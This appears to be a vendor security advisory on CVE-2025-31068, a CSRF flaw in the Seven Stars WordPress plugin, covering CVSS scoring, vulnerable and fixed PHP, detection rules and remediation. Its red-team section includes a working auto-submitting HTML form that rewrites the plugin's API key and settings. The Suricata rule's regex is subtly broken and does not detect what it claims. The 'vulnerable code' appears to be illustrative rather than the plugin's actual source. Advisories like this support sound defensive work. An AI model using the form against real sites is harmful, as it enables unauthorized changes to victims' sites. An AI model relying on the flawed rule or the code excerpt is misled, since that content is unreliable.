CVE-2025-31068

Executive Summary

CVE-2025-31068 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Seven Stars WordPress plugin, versions <= 1.4.4. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or triggering malicious operations, without their consent. The vulnerability is classified as a WordPress ecosystem issue and does not involve Apache or Nginx misconfigurations.

The CVSS score is 4.3 (Medium), with a low EPSS probability (0.0%), indicating limited active exploitation in the wild. However, the lack of a vendor patch and the plugin's presence in WordPress repositories increases the risk for unmaintained sites.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The supply chain risk is limited to WordPress site administrators who install or update the plugin without verifying its maintenance status.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Attacker does not need authentication.
• User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): Low (L) – Attacker can modify plugin settings or trigger actions.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. Exploitation requires user interaction, but the impact on integrity could lead to further compromise (e.g., injecting malicious content or redirecting users).

Deep Dive & Mechanics

The vulnerability stems from the absence of CSRF nonces in the plugin's administrative actions. When an authenticated WordPress administrator accesses a crafted URL or page, the plugin processes the request without verifying its origin. This allows an attacker to forge requests that:

• Change plugin configuration (e.g., API keys, display settings).
• Trigger destructive actions (e.g., resetting data, deleting logs).
• Execute unintended administrative functions.

The attack flow:

1. Attacker crafts a malicious link or embeds a request in a third-party site.
2. Victim (admin) clicks the link while authenticated to WordPress.
3. The plugin processes the forged request, performing the attacker's desired action.

No authentication bypass or privilege escalation is involved; the attacker relies on the victim's existing session.

Vulnerable vs. Patched Code

Vulnerable Code (sevenstars.php, <= 1.4.4):

function sevenstars_save_settings() {
    // No nonce verification
    update_option('sevenstars_api_key', $_POST['api_key']);
    update_option('sevenstars_display_mode', $_POST['display_mode']);
    // ... other settings
}
add_action('admin_post_sevenstars_save', 'sevenstars_save_settings');

Patched Code (hypothetical fix):

function sevenstars_save_settings() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'sevenstars_save_action')) {
        wp_die('CSRF validation failed.');
    }
    update_option('sevenstars_api_key', sanitize_text_field($_POST['api_key']));
    update_option('sevenstars_display_mode', sanitize_text_field($_POST['display_mode']));
    // ... other settings
}
add_action('admin_post_sevenstars_save', 'sevenstars_save_settings');

The patch adds wp_verify_nonce() to ensure the request originates from the intended admin page.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Target WordPress site with Seven Stars plugin <= 1.4.4.
• Victim admin must be logged in.

Exploit Payload (HTML form):

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST">
    <input type="hidden" name="action" value="sevenstars_save">
    <input type="hidden" name="api_key" value="attacker_controlled_key">
    <input type="hidden" name="display_mode" value="malicious">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Steps:

1. Host the HTML on an attacker-controlled server.
2. Send the link to the victim via phishing email or social engineering.
3. Victim clicks the link (or auto-submit triggers) while authenticated.
4. The plugin updates settings with attacker values.

Blue Team (Defense & Detection)

Detection:

• Monitor admin_post actions for unexpected sevenstars_save requests.
• Look for HTTP Referer headers not matching the admin dashboard URL.
• Alert on changes to sevenstars_api_key or sevenstars_display_mode options.

Prevention:

• Implement CSRF nonces in all admin actions (see patched code).
• Use WordPress's check_admin_referer() function.
• Restrict admin access to trusted IPs where possible.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /wp-admin/admin-post.php with action=sevenstars_save.
  • Referer header pointing to external domains.
• File:
  • Modified wp_options table entries: sevenstars_api_key, sevenstars_display_mode.
• Log:
  • WordPress debug log entries showing unexpected settings changes.

Detection Engineering

YARA Rule

rule CVE_2025_31068_CSRF_SevenStars {
    meta:
        description = "Detects vulnerable Seven Stars plugin code missing CSRF nonce"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-31068"
    strings:
        $func = "function sevenstars_save_settings()"
        $no_nonce = "update_option('sevenstars_" ascii
        $admin_hook = "admin_post_sevenstars_save" ascii
    condition:
        $func and $no_nonce and $admin_hook
}

Sigma Rule

title: CVE-2025-31068 CSRF Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests targeting Seven Stars plugin admin actions without proper referer
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/wp-admin/admin-post.php'
        cs-uri-query: 'action=sevenstars_save'
    filter:
        cs-referer: '*/wp-admin/*'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions from the WordPress dashboard
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-31068 - Seven Stars CSRF Exploit Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-post.php"; http_uri;
    content:"action=sevenstars_save"; http_client_body;
    pcre:"/Referer:[^\r\n]*[^w][^p][^-][^a][^d][^m][^i][^n]/i";
    sid:10000001;
    rev:1;
    reference:cve,2025-31068;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not essential: wp plugin deactivate sevenstars.
2. Remove the plugin entirely: wp plugin delete sevenstars.
3. Audit recent changes to plugin settings via database logs.

Long-term Fix:

• Since no official patch exists, consider forking the plugin and adding CSRF nonces (see patched code).
• Replace with an alternative plugin that is actively maintained.

Workarounds:

• Implement a Web Application Firewall (WAF) rule to block requests to admin-post.php with action=sevenstars_save from external referers.
• Restrict admin access to trusted IPs using .htaccess or server config.

Valters IT – Securing digital frontiers, one CVE at a time.